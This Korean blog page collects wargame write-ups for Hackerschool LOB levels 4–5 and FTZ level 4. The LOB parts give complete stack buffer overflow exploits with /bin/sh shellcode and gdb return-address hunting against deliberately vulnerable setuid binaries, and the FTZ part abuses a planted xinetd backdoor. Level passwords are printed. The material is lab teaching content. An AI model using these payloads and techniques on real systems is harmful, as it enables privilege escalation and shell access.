반응형
반응형
반응형


해커스쿨 LOB LEVEL5 [orc -> wolfman] 풀이


M4ndU




해커스쿨 LOB [orc -> wolfman] 풀이입니다.


ID | orc

PW | cantata


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: orc

Password:

[orc@localhost orc]$ bash2

[orc@localhost orc]$ ls -l

total 20

-rwsr-sr-x    1 wolfman  wolfman     12587 Feb 26  2010 wolfman

-rw-r--r--    1 root     root          581 Mar 29  2010 wolfman.c

[orc@localhost orc]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}



점점 조건들이 많아지네요...
환경변수 사용 불가능, 스택영역 사용

        // buffer hunter

        memset(buffer, 0, 40);


buffer의 값을 0으로 초기화 시켜서 사용할 수 없게 되었습니다.

하지만! 입력값의 크기 제한은 없죠.
쉘코드를 리턴주소 다음에 넣으면 됩니다!

dummy [44] + RET[4] + SHELLCODE

[orc@localhost orc]$ mkdir tmp
[orc@localhost orc]$ cp wolfman tmp/
[orc@localhost orc]$ cd tmp/
[orc@localhost tmp]$ ./wolfman `python -c 'print "A"*44+"\xff\xff\xff\xbf"+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA퓧릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
          ?
Segmentation fault (core dumped)
[orc@localhost tmp]$ gdb -c core -q
Core was generated by `./wolfman AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA퓧릱릱릱릱릱릱릱릱릱?'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffff in ?? ()
(gdb) x/500x $esp
0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
(생략)
0xbffffc00:     0x00000000      0x00000000      0x36690000      0x2e003638
0xbffffc10:     0x6c6f772f      0x6e616d66      0x41414100      0x41414141
0xbffffc20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc40:     0x41414141      0xffffff41      0x909090bf      0x90909090
0xbffffc50:     0x90909090      0x90909090      0x90909090      0x50c03190
0xbffffc60:     0x732f2f68      0x622f6868      0xe3896e69      0xe1895350
0xbffffc70:     0x0bb0c289      0x000080cd      0x00000000      0x00000000
(생략)

0xbffffc50으로 리턴주소를 설정하겠습니다.

[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\x50\xfc\xff\xbf"+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?퓧릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
          ?
bash$ my-pass
euid = 505
love eyuna


성공입니다. 다음레벨로 GAZUAAAAAAAAAAAAAA


반응형
반응형


해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이


M4ndU




해커스쿨 LOB [goblin -> orc] 풀이입니다.


ID | goblin

PW | hackers proof


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: goblin

Password:

[goblin@localhost goblin]$ bash2

[goblin@localhost goblin]$ ls -l

total 20

-rwsr-sr-x    1 orc      orc         12567 Feb 26  2010 orc

-rw-r--r--    1 root     root          505 Mar 29  2010 orc.c

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 두가지 조건이 있네요.

        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


환경변수부분을 0으로 설정해 버려서 환경변수를 사용할 수 없네요.


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


그리고 리턴주소의 첫바이트는 0xbf이어야 하네요.

스택영역을 사용하면 되기 때문에 쉘코드를 buffer에 넣겠습니다. 그러면


./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+RET'`


가 되겠네요.


쉘코드가 있는 곳을 알아봅시다.

문제파일을 복사해서 core파일을 분석하면 됩니다.


[goblin@localhost tmp]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff\xff\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ??

Segmentation fault (core dumped)

[goblin@localhost tmp]$ gdb -c core -q

Core was generated by `./orc 릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                                                      ??.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/500x $esp

0xbffffaf0:     0x00000000      0xbffffb34      0xbffffb40      0x40013868

0xbffffb00:     0x00000002      0x08048450      0x00000000      0x08048471

 (생략)

0xbffffc20:     0x00000000      0x00000000      0x69000000      0x00363836

0xbffffc30:     0x726f2f2e      0x90900063      0x90909090      0x90909090

0xbffffc40:     0x90909090      0x90909090      0x50c03190      0x732f2f68

0xbffffc50:     0x622f6868      0xe3896e69      0xe1895350      0x0bb0c289

0xbffffc60:     0xffff80cd      0x0000bfff      0x00000000      0x00000000

 (생략)


우리가 입력한 값들이 보이네요.

리턴주소를 0xbffffc40으로 잡겠습니다.


[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x40\xfc\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ?@??

bash$ my-pass

euid = 504

cantata

bash$


성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




반응형
반응형


해커스쿨 FTZ [LEVEL4] 풀이


M4ndU




해커스쿨 FTZ [LEVEL4] 풀이입니다.


ID | level4

PW | suck my brain


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level4

level4@192.168.31.128's password:

[level4@ftz level4]$ ls -l

total 12

-rw-r--r--    1 root     root           50 Feb 24  2002 hint

drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level4       4096 Feb  6 22:17 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level4@ftz level4]$ cat hint



누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


일단 /etc/xinetd.d/로 이동을 해야겠네요.


[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -l backdoor

-r--r--r--    1 root     level4        171 Sep 10  2011 backdoor


정말 백도어가 있네요.

cat 명령어를 통해 백도어를 봅시다.


[level4@ftz xinetd.d]$ cat ./backdoor

service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


finger 서비스로 실행되는 백도어이며,
level5의 권한으로 /home/level4/tmp/backdoor 을 실행시키는 것 같습니다.

해당 경로로 이동해서 확인해 봅시다.

[level4@ftz xinetd.d]$ cd /home/level4/tmp
[level4@ftz tmp]$ ls -l
total 0

아무것도 없네요..
그럼 우리가 직접 my-pass를 실행하는 파일을 만들어야 할 것 같습니다.


[level4@ftz tmp]$ vi backdoor.c

#include <stdio.h>

#include <stdlib.h>


int main(void){

        system("my-pass");

}

~

~


i를 눌러 삽입모드 에서 작성하시고 esc를 눌러 명령모드에서 :wq를 입력하면 저장됩니다.

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

backdoor라는 이름으로 컴파일을 합니다.

이제 finger 서비스를 시작합니다.

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".


다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ





반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL1] 풀이  (1) 2018.02.07

+ Recent posts